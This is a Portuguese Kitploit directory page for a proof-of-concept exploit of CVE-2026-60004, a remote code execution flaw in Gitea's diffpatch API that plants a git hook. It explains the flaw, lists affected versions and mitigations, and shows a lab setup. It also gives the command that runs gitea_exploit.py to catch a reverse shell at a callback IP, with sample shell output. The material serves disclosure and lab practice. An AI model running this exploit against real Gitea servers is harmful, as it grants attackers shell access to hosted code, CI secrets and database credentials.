Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-60004 — Gitea diffpatch RCE | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-60004
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubeqstlab/cve-2026-60004

CVE-2026-60004

Gitea diffpatch RCE

Ver Repositório
16há 23 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Visão Geral

CVE-2026-60004 é uma vulnerabilidade de Execução Remota de Código (RCE) no Gitea. A API diffpatch aplica um patch fornecido com git apply --cached, que deveria apenas tocar o índice e nunca gravar arquivos no disco. Ao enviar o mesmo patch duas vezes, um atacante força uma colisão add/add que aciona o fallback de merge de três vias (-3) do Git. Esse caminho ignora --cached e faz o checkout do arquivo para a árvore de trabalho. Como o clone temporário é bare, a raiz da sua árvore de trabalho é $GIT_DIR. Um patch que cria um hooks/post-index-change executável, portanto, instala um hook Git ativo, que o Git executa automaticamente na próxima atualização do índice — executando comandos como a conta de serviço do Gitea. O endpoint exige acesso de escrita ao repositório, mas o registro está habilitado por padrão, então qualquer usuário que possa se cadastrar e criar um repositório pode alcançá-lo.

Baixar ferramenta

Versões Afetadas

CategoriaVersão
VulnerávelGitea 1.17 ≤ versão ≤ 1.27.0
CorrigidaGitea 1.27.1 ou posterior

Impacto

  • Execução Remota de Código como a conta de serviço do Gitea (git)
  • Acesso a todos os repositórios hospedados, segredos de CI e credenciais de banco de dados

Ambiente

Compile e execute o ambiente Gitea vulnerável. O registro fica aberto e o servidor inclui Git 2.32+, que habilita o fallback -3 do qual o ataque depende.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
Pré-condiçãoEstado neste laboratório
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ no servidor (habilita -3)2.54
Registro abertohabilitado (padrão)
Acesso de escrita ao repositóriovia conta auto-registrada

PoC

O exploit é totalmente automatizado pelo gitea_exploit.py. Dada uma conta que possa criar um repositório, ele cria o repositório alvo, envia o mesmo patch repetidamente até o fallback -3 do Git disparar e captura o reverse shell com um listener integrado — sem configuração manual, criação de patch ou cálculo de blob-hash.

root@kitploit:~
# python3 gitea_exploit.py <ip:porta do alvo> <ip de callback> [porta de callback]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

O fallback -3 só dispara em certas janelas de tempo, então o script faz um loop create → send → send até capturar (25 tentativas por padrão). Quando um envio bloqueia, o hook disparou e o listener o leva a um shell como git:

root@kitploit:~
[*] tentativa  3/25 -> send#1 201, send#2 timeout   <- BLOQUEADO (disparou!)
[+] shell de 172.17.0.2:53344 -- digite comandos, Ctrl-C para sair
uid=1000(git) gid=1000(git) groups=1000(git)

Opções:

  • --no-listen — capture o shell com seu próprio nc externo em vez do listener integrado
  • --user / --pw / --repo / --branch — substitua a conta padrão e o repositório alvo

Mitigação

  • Atualize o Gitea para 1.27.1 ou posterior
  • Desative o registro aberto se não for necessário (DISABLE_REGISTRATION=true)
  • Restrinja quem pode acessar a instância e criar repositórios

Análise

  • KR: Em breve!
  • EN: